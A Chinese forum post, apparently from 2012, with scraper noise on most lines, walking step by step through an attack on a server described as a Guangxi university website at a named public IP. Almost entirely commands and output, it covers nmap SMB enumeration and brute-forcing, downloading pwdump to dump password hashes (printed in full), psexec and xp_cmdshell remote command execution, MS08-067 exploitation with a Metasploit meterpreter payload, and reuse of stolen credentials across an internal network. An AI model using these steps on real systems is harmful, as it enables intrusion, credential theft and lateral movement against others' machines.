广西师范网站http://202.103.242.241/
- d" Q9 h& G8 B3 A5 c& T. F+ S) J
+ k6 `; P7 S+ G' z/ {3 R! @& a, Groot@bt:~# nmap -sS -sV 202.103.242.241
@& C& C9 W- Q& D1 p; P: a0 c" h7 I* S: C: _/ K9 K
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST$ r# l. O( `" U- s( h1 w9 `/ P
( K/ L% @0 Q! F
Nmap scan report for bogon (202.103.242.241)) e9 j( x" ?# b- v* I. n
- H1 L/ I9 T; J5 [
Host is up (0.00048s latency).4 C# k ]3 T( N, S7 Q# z
, i* V/ _4 N! C. t/ N2 dNot shown: 993 closed ports$ }1 L b0 P# A8 ~5 E5 W `: {
! u- r5 _* S- P+ k0 |) p
PORT STATE SERVICE VERSION
- e \+ R2 a% a4 i/ C' {: v5 U- y- p3 B, W) K
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)% o4 X" D" h! Y- k0 H7 ?
! D) \1 K: z; N# y, M/ d0 r139/tcp open netbios-ssn, G, b. S1 ^0 {9 m y( E4 e4 S) q2 V
3 V a s9 G) O' X# b
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds" w& e+ Y+ x- a7 V% R
+ _: ]$ a8 [$ @7 a
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
0 K$ T8 J. v9 s4 _; p4 Z5 U* r
$ i. W9 i( Q+ R/ V' H1026/tcp open msrpc Microsoft Windows RPC
$ u' v: Y9 {1 J! ~* a/ X
1 P- N1 D1 R4 t$ T* L4 e9 }0 ~3372/tcp open msdtc?
! a% ^ e& l: ^+ `3 O
( R9 [2 F7 y- c. V! @9 ?3389/tcp open ms-term-serv?& K/ Z, e. b6 e7 y# `2 \- T+ @* x
1 V6 R7 k( Y/ F9 r! _6 }% W5 E
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :9 p! A/ B F& f
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
$ ^) `5 ]: D- g- M% n: D+ }) F( |) I) ]# o
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions/ l. s6 g, b [, J- H" I" j
( S3 c- ?' t G) a. f; H# _SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
, b) D' |! z, r0 a8 e* Z' w. D4 P4 x6 V4 C4 ]% t) z+ v' K6 U
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO# c4 N4 d P& |$ N: C4 z
7 E% P2 U/ c9 g( f8 Z. T5 F4 R/ t5 B& l0 v
SF:ptions,6,”hO\n\x000Z”);7 E% M, e7 G$ f$ e' u: w
/ i n+ W1 \! u- ?
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)7 |: f6 m; v% I6 P* W& p
; y! m: Y3 J X: T& t; DService Info: OS: Windows
9 n+ S4 Z6 i4 z8 z" |3 q/ {
, |( T: ?% z! ]8 g8 j4 }Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .& z. i+ S/ M/ u9 ~6 f/ S
?$ c2 p. o5 r* w; Y: L( I, g' ?
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds# l: Z1 q( v1 B2 d, c; M$ j8 d
! @2 o. k$ Z% Jroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
% h. f' j; p( r
7 x4 l2 A4 R$ S-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
$ f2 y9 D0 R/ G6 p& a: U5 d( y9 c8 Z
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
5 q( \- M' [. A8 J( J4 M
0 Y% s1 x3 Y8 y& @-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
, R' x1 ~+ K9 F) O9 y4 z$ ^+ [" l/ F! R& X( K& A: W
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
0 q' \) H" G# D/ L/ V* B
. t* j5 u+ j7 a/ f) h0 I; U0 t/ C2 x" U-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
. a$ G+ u! Z6 @) Z" u( C; e) @ [/ D/ ^3 u" K2 R
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
8 d' h) K" t% \, k9 I) t8 b+ \; Y: Q) I0 e- I7 S- `/ e# c+ M$ ]" W0 t
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse6 u; H( ^) s4 h2 P: f
! ]4 N+ J- ]4 h. R& Y" P/ d; V( `
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse1 k3 N% \6 J; F: O e' b. B* \
! v1 |/ X& I( X. S' _8 |
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse: f; Z. K" ?) x9 C" z
' w4 b5 m. N0 i' z
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
& }7 h8 {- b! V8 O
$ v, o- }+ _% z; H3 T7 g+ C-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
) R& m9 _) L3 X% S* b5 K( q; Y) @' S
* p5 _, _& e o% ]" M; O5 z+ Q8 `-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
" d. }8 \' g/ Y# c, b2 y2 o/ b$ V A7 j$ q6 f
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse- s( B! c& q. T' J ]% S1 b
- Y. B9 n C4 Q! S2 S1 x, }( z
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse4 D' R8 `9 @& J( s3 z
7 n9 b- v, f* W-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse+ \& P! \/ R8 V( Q6 w2 m: X
V8 i' \$ n$ R+ G$ c
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 : t; F' x1 Y' r- |
6 d4 c8 r( ^ ~3 N9 V//此乃使用脚本扫描远程机器所存在的账户名
# D/ {. y9 U; H) w
U4 y; I) y/ C- i+ V& TStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
! T2 q1 A" C+ n
- L: y3 G4 R( Y+ c: S2 L [Nmap scan report for bogon (202.103.242.241)* s* {2 O$ V$ @5 ~
% {" U* k' V" W5 V9 k* OHost is up (0.00038s latency).
. a& Y8 n0 n: G: d5 b- F. Q4 ?9 e% J
* s2 _% T! L5 @7 k* `3 KNot shown: 993 closed ports
% u! [7 S& j! e8 U% B# {) n$ S- X. i
PORT STATE SERVICE5 |0 ]$ M) C7 M! g. I. D
" U! g( X& l! T6 c* \% \
135/tcp open msrpc: @7 L8 E9 ?7 A7 C3 ^/ ^
`3 W }6 J B, B9 N0 y# q
139/tcp open netbios-ssn
5 N% l9 _9 V, |- v8 D' r0 R: Y
* T( W% H; E) l! j+ c4 o0 z2 j445/tcp open microsoft-ds
" H- d- \: X% g) J( [
/ \5 O" r: Q6 N3 | [: o1025/tcp open NFS-or-IIS% A0 `1 U7 ]- U7 B
0 Y8 h8 {6 I5 e, \- a
1026/tcp open LSA-or-nterm
; }$ C8 A& Q5 Q& X1 i1 J4 H! h) [; R. N- {/ J% S
3372/tcp open msdtc
2 N) X Q! l1 k4 N
: k7 }: j) ]9 L& y2 H9 T9 Q3389/tcp open ms-term-serv9 [8 K* _2 C, m
& n8 _* t& S% z, WMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
9 K) i0 ?' I9 |
& D7 I# [# Z- i# m6 I( P' ~Host script results:- ?: i H) m y0 j- {# Y. f
! c- d. Z* P. x3 r| smb-enum-users:5 j6 ~0 t+ M7 W. S- o% E5 d
2 e" ~" N# @( P
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
2 u) V1 V9 c- Z, y. A& \. h5 d5 i' [* t$ u# o3 \5 a
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds4 B$ M! `0 f. P; o4 _3 X- I
& F8 }' u# H6 ~5 d& T, c* Jroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 & v* M2 ~8 t8 c- {+ h7 G
. n( B8 T0 Q' ^( T3 G: L# [5 p0 l3 Y7 O2 X//查看共享$ X3 B- u' A3 ^, ^2 z+ ]! l# i
' M1 p" ?' h4 p# ?1 x) j+ CStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST2 v' u; s5 |0 X; ^- G1 [. }2 ]
' B9 T, c. ]* `; t
Nmap scan report for bogon (202.103.242.241)
; G: p3 o" r0 v) c4 e4 T, \! V4 B% y
Host is up (0.00035s latency).- _. G/ Q9 R5 A j$ K
; _) ^+ S! [; }7 t3 E/ h c
Not shown: 993 closed ports$ g) u) ]! ~, h7 N3 J; U
3 q9 ~, e0 f7 X( a( YPORT STATE SERVICE
$ F X' Q2 \: m
' ^" {- M' ?5 A135/tcp open msrpc8 [; n2 R5 E5 m! k: b
# U+ \1 x- s, x/ y6 t: p0 }139/tcp open netbios-ssn, O4 |1 \8 C7 W2 B" ^. r" \
+ B# ~5 u2 H( Y% c9 V445/tcp open microsoft-ds
" s" O4 K. _# N$ e5 x& K% @
j4 t3 l- v- ^% K2 R1025/tcp open NFS-or-IIS' J8 _) O0 s/ d% o% z
) }" g& A+ J/ v$ c* F
1026/tcp open LSA-or-nterm0 q# e+ e4 m/ k" h. g* D6 s
0 `, h( y( \3 n% f' B9 k* w+ u3372/tcp open msdtc- E8 a( t( y0 g/ z2 M. l
- ]5 G1 Z( b0 W) u! a3 K# @7 l; l
3389/tcp open ms-term-serv
4 l! r$ `! s6 o2 L2 ?4 X6 [8 N, ]
# j* e/ s5 H) q2 R) }4 @1 p% uMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)7 o% F% C9 o/ y T2 U
2 Q" ?4 c' u |# q; E" {5 V z
Host script results:& S* Q( j5 x; R' d! {1 Z
, E7 Y9 x* [) x+ b& j6 P5 J| smb-enum-shares:2 a( o: c) R# y: u# J
; ]/ B+ F" z1 P" R4 X. w' ]| ADMIN$" z2 l- U! K" C; k& T& F6 _* P
. s$ I; H7 R! a1 ^# N| Anonymous access: <none>
3 l. i8 l3 y5 f3 s; }( a' R$ x, Y/ o: K! ^
| C$
_' Z6 t) z4 r" K& G3 y! J: _
* V5 r8 t @+ t; Y2 q| Anonymous access: <none>
( x: M, ]( U( u& [' S, n6 h. F
: Z4 e, B2 J) _9 A5 G| IPC$1 E3 x4 c5 ~" {, e* v z$ T
0 O6 D2 J0 Q( j; t; j# I3 k
|_ Anonymous access: READ# n2 F/ I7 _2 ^
* A# N3 F8 L; } FNmap done: 1 IP address (1 host up) scanned in 1.05 seconds3 e- c0 m! p5 w0 h1 q8 @
! J, Z5 x$ n7 ~! X
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
& l6 Q. k: _9 |0 M! t& `6 y( P2 d! h- I
//获取用户密码2 R9 X4 S/ f& ^. M' q
, U* `3 q( k: O! e
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST, @. k8 o u3 u
) R: ^% `4 J/ C% z* I. TNmap scan report for bogon (202.103.242.2418)
. ]5 L2 H/ z; j5 s2 @, t; h# g$ w# i7 j
Host is up (0.00041s latency).& {& b6 F1 G' L3 N
% u* w% ^5 @0 J# l8 uNot shown: 993 closed ports1 `, ^5 a+ M% p! c
5 X1 \, F" ], F3 j. l
PORT STATE SERVICE* K% L, T, u# O, e
4 n) e2 v6 Y4 X2 S
135/tcp open msrpc6 I3 N6 C: H) F9 q9 H5 d/ l
W! S4 S( D. F% M" J
139/tcp open netbios-ssn* d- j; A$ A$ m$ b% P
; ]3 v) E1 i, x# k( P445/tcp open microsoft-ds
7 p9 i7 @, [, C9 ?+ W3 [( k1 F( o
1025/tcp open NFS-or-IIS
8 W% B( R% h8 a0 ~5 n" X- N/ U" b# I' c4 z6 Z
1026/tcp open LSA-or-nterm
[) h0 `) a# m: R
9 m/ J# |. B+ S" u: u5 F3372/tcp open msdtc
/ w* C/ {. @% }9 V" _' g9 Y) j" O" |* r! m/ M M& P
3389/tcp open ms-term-serv: i) \1 j7 N6 V" v
e# C' V8 j3 m( U& e! F( @MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
& O3 r/ U4 j; n
- L; O7 D0 p/ x: o& C1 d5 r% `0 IHost script results:7 h. d1 {; C C
" ?" \8 n, K" @. z
| smb-brute:6 K0 m1 H8 ^3 l( C( E% S; U C$ u
- S) w9 m/ u6 I4 O. Badministrator:<blank> => Login was successful9 t3 N1 ]: B4 v& U
1 | i) Q) y& X|_ test:123456 => Login was successful
8 X* t5 ?2 J$ r9 D0 ]$ H9 v' F4 P5 |9 e h. A
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
3 {* W. e6 B0 D( l, _/ o7 A* S# X" O3 i5 r3 F! _( c) k' Z# O
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
0 I M8 {6 _' L$ ^2 x* J3 V6 E$ J, W9 j" Z
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
- J- n+ T/ L1 `; i- g% z* t, g& _3 c0 e) a2 g
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse8 D; K& t) J A U/ R) \
5 d. b. |7 k$ b; {6 k' ?! T
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139& e' q# A" _$ d; a2 @) w
$ ]! h' \# P& M: R
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
$ d4 f& k$ n7 N9 r: w0 Q
8 r( p6 I2 s/ w1 ~5 @4 ZNmap scan report for bogon (202.103.242.241)9 ~ L! `7 A, `; Z1 y0 F2 k5 Y
, z& r7 Q4 ^$ @ uHost is up (0.0012s latency).
; ~5 d0 t. u6 z, M; z. W+ J r0 l# z4 G! ~
PORT STATE SERVICE, Q& S! W' x6 r# X# k
1 ~! ]+ b9 U/ g9 E9 X# f135/tcp open msrpc ?0 m7 Z9 }+ K- O0 Y$ d. X/ y+ k
, B0 g3 k: ^' y O; s139/tcp open netbios-ssn
4 l6 X; n8 d( ^2 b7 S% b0 l4 u0 V7 }) b, V
445/tcp open microsoft-ds$ U& U% b/ l( Z- h
, r4 x) K7 p8 _$ i/ r& M P
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
1 s# ^) D# k! K7 i
0 ]6 B" d; K; j. D7 aHost script results:5 T( a; } @, L3 ~3 {0 c& h- @
3 G7 `( t7 `! r/ h
| smb-pwdump:
, L9 T& t+ I, G* C3 I2 I3 E. j0 Y$ v* M8 v- r! f# ~0 O- K. ~" j
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
! Q4 ]) B* V$ R+ v' H& l/ y M% @2 E V5 w+ e8 s" O
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************5 u4 G) e5 e0 m/ n% P
- ~: E2 b) H! g3 T. I6 q0 y
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
" N1 i2 B U- ?4 |7 N1 d0 R6 K9 L' z3 W1 M# j0 o+ ~7 `, ~
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
4 J: z9 f! _3 L# W7 m
0 o: J( v* i; P7 q; J! h2 QNmap done: 1 IP address (1 host up) scanned in 1.85 seconds) x& T4 W' \5 O$ |9 g! j: n+ J) G$ L
1 Q; q8 B- d9 ^; O) B! M/ `C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
' \- ?; N/ Z3 N/ G7 S5 i( l# ^+ B( _: @1 A1 O5 l
-p 123456 -e cmd.exe
$ v: O" E/ I6 Y' R7 `" G; m
' p0 s1 T( T1 M; y7 |6 ]! y/ M& w! _PsExec v1.55 – Execute processes remotely* ~2 p$ j& u$ s a. _: ^
! E7 ~: L8 U" n( E
Copyright (C) 2001-2004 Mark Russinovich3 q8 w6 m" `5 k+ m4 l
$ c( T. T4 U+ B* z' I$ L& |7 YSysinternals – www.sysinternals.com
' |3 c0 K' `6 a* e% ~( i5 k& _1 ]2 a [- M, P
Microsoft Windows 2000 [Version 5.00.2195]
; r. k7 u1 w+ d: P, |2 a3 t# l' b* i1 o1 V/ r5 I
(C) 版权所有 1985-2000 Microsoft Corp.: R& I- r6 S; b$ X
! I9 @% R! i" W; G6 u$ u( fC:\WINNT\system32>ipconfig
2 K; p# p) j b3 L7 c+ O6 B/ i
1 w- F+ f" `! A0 g; j& u3 vWindows 2000 IP Configuration% m7 H6 f3 Z0 Q! p
5 |4 Q) g& V7 `' dEthernet adapter 本地连接:
: Z) K3 k V: `* E7 n8 V( W9 g; b
4 \2 Z7 l6 V# h% b" ^) GConnection-specific DNS Suffix . :, E9 D3 _) [0 W5 R$ o% C
; l# I& \4 b, c* O
IP Address. . . . . . . . . . . . : 202.103.242.241' ?1 q( M, [! P
8 J( @& n% q @* O, y
Subnet Mask . . . . . . . . . . . : 255.255.255.0: {0 d6 {2 h' m9 E) I0 w
! Z" p$ A9 O0 }' _+ `+ z: ^
Default Gateway . . . . . . . . . : 202.103.1.19 v' v/ S8 n8 A4 F
; `$ x! R" g6 f* M' N
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
) c% i% B' J4 `5 m# G7 p, Q- L8 o4 G; h3 w" I) O' ]% I
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞% X! y R1 O _) y$ C a8 H* T+ ~
3 ?2 f/ D- N& [Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
( {% j5 ^' Z0 f' ~' J
9 |8 h B2 ?2 z% c/ q" h; s/ m1 B( kNmap scan report for bogon (202.103.242.241): Q k+ v. p+ k: Y; D
; I, q, V9 K% s3 B6 N2 IHost is up (0.00046s latency).* G# @6 z! f7 j0 `* J
0 x8 p* V$ z* S/ t7 a! _Not shown: 993 closed ports
$ d$ z j- W6 s) d' A2 |. C9 @* @1 R& d P* D0 t$ r+ q) W1 z0 K
PORT STATE SERVICE( {; s+ v" h, \& r
" [$ B$ a! U4 c9 J( g) i
135/tcp open msrpc
5 B+ |, ]4 v# F" {
+ V; ]- a) e" `4 r' @139/tcp open netbios-ssn! m6 T- d4 d1 c$ K8 G
6 u4 U) r9 p& {/ D
445/tcp open microsoft-ds3 e" E( M! m& J. r) N& ]
& S6 K5 y( S) _
1025/tcp open NFS-or-IIS' B, ~# b1 J' G7 `! E
( _0 W4 f H# E% r; J' P1026/tcp open LSA-or-nterm0 u' c+ \+ k8 \$ M
7 y4 ]- b& p, d4 F' v( i# {3372/tcp open msdtc
2 d' A. A- z) U7 v% J9 B0 e9 Y( z/ H8 q4 V3 j# C9 M
3389/tcp open ms-term-serv
1 V# Z, Q! I7 Z8 y `, n) D7 J2 [) g# [
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
$ p/ T$ q. ?5 w8 ^; J0 O
; ^1 \( X; [$ v" O% {- s: fHost script results:
/ k) R' U m6 ?1 k6 f5 X
' B2 V" `$ J; U. @| smb-check-vulns:, B+ I3 }! }* n, F p
3 c- c) z2 C% U7 |/ U, V$ W|_ MS08-067: VULNERABLE" q, r `8 C+ S0 J8 \
; U1 v" M+ m# b
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds. l$ P- s% J/ F4 Q3 L2 |
9 B& [% M* n* g$ E
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出- o+ Y8 o! ^3 v. l( r/ g0 P
9 R) B7 h' k7 T/ v# Y, xmsf > search ms08 S6 N5 ]' m+ g' X' S
2 z9 @3 ~6 s: D8 h4 ~# G% }msf > use exploit/windows/smb/ms08_067_netapi6 F, @, @4 R: w
( R- f& V6 E ~" Smsf exploit(ms08_067_netapi) > show options
9 c8 |7 A# c( `, g3 z+ I
* C* o1 O+ z4 l% M" m2 Umsf exploit(ms08_067_netapi) > set RHOST 202.103.242.2411 \8 G2 \9 _4 D
' s2 _. N0 S; J4 i* y. v6 Q( d8 M( imsf exploit(ms08_067_netapi) > show payloads1 s5 p+ z; t" `" k4 o7 C
" I- ?1 y, A6 W" r6 W4 |' O) z
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
( f5 L" `1 ^+ j0 q! i4 x7 w# D$ Y$ b; V5 K; q; g9 H
msf exploit(ms08_067_netapi) > exploit
; x1 z- h: H2 I, M, W( p
8 T2 h& ^, A3 x0 Q0 T _meterpreter >( P' T" B2 N" ^& K& w5 O! C% K" K: e
" f) o: c, _, v% G9 s* r
Background session 2? [y/N] (ctrl+z)
9 |, B' g1 e, @; s
1 }; i6 I9 [- C1 L6 P1 ]msf exploit(ms08_067_netapi) > sessions -l. e' b) E/ Z% W
. ]# n+ D+ C: n8 Vroot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
) ?1 }2 ~$ a+ W* w+ f+ L8 r- ?
- H! E) }( o5 G( n# q3 Etest( ~& o( ?3 E( b- o% N( b
" }* s9 V1 i/ s8 c( F8 nadministrator/ z+ P a* i. ~
4 d4 j# M D9 @" h9 t) G: u
root@bt:/usr/local/share/nmap/scripts# vim password.txt1 c# m$ b& p1 k1 [, p7 t
( ]& r* n, H k
44EFCE164AB921CAAAD3B435B51404EE
/ ?7 t; f' z9 _% f8 ?4 f6 C. S2 b6 {8 |, o
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 2 {- d# I0 G, V) L0 P5 [
! e# i5 |" e+ D //利用用户名跟获取的hash尝试对整段内网进行登录
: M9 U' s3 o5 s8 O( u
2 t) F) k5 R7 u, }Nmap scan report for 192.168.1.105
& S G% L! J' J1 j
1 F) V6 o/ h+ k0 O* W- @. ]3 VHost is up (0.00088s latency).$ P8 H0 r- W' w
$ x% ?0 j2 [9 C& T+ k( `Not shown: 993 closed ports
) T; ?0 @& Y/ j3 {3 X1 B
5 V) N5 }9 B5 Z) C+ xPORT STATE SERVICE+ W9 v; }7 S4 p) K
$ y2 ^$ K# Z& y9 F& N$ H: U135/tcp open msrpc1 u. X1 y) u, _' c( `2 e
% y9 q7 L9 D: M1 ~139/tcp open netbios-ssn" g3 m0 N1 ?3 ?1 { n, ] j
# H0 P3 p" ]# ~
445/tcp open microsoft-ds. ]4 i2 n% a" t- o1 j
+ U. O3 ^9 E" |8 t1 e5 O1025/tcp open NFS-or-IIS
, [) \& F! g$ D! d9 E% F7 N
" b% p* S3 O( f( s6 f" Y7 {1026/tcp open LSA-or-nterm
: W. s U# @# a$ Z% l7 W, O T8 k% M0 _
3372/tcp open msdtc' y( h. u |9 Y8 ]
) y' j( I2 o' U+ I0 \. a3389/tcp open ms-term-serv6 `6 i) S J5 V' z" [7 {
, l: o( \: g+ x" O: E7 G, ~. ?MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
7 a! K3 O+ s3 m) r: q, U% B
; X/ K4 `5 n, l, n4 K* A/ lHost script results:4 S$ C9 ]3 C& j+ _( P3 W h
2 j4 }% N( C* C4 u) f- E| smb-brute:. s' d5 A% q" h. ~) _& J! U
- y O: I h/ H2 Q/ ~2 \# q* { Q|_ administrator:<blank> => Login was successful
, e2 e9 |4 L/ t T5 }
M9 ~, s7 H8 S4 C' c& z攻击成功，一个简单的msf+nmap攻击~~·! m V' v* W( _1 C4 ?% L
- g) C; P3 u6 K. E8 L, w; \
|
发表于 2012-12-4 12:46:42
收藏
支持
反对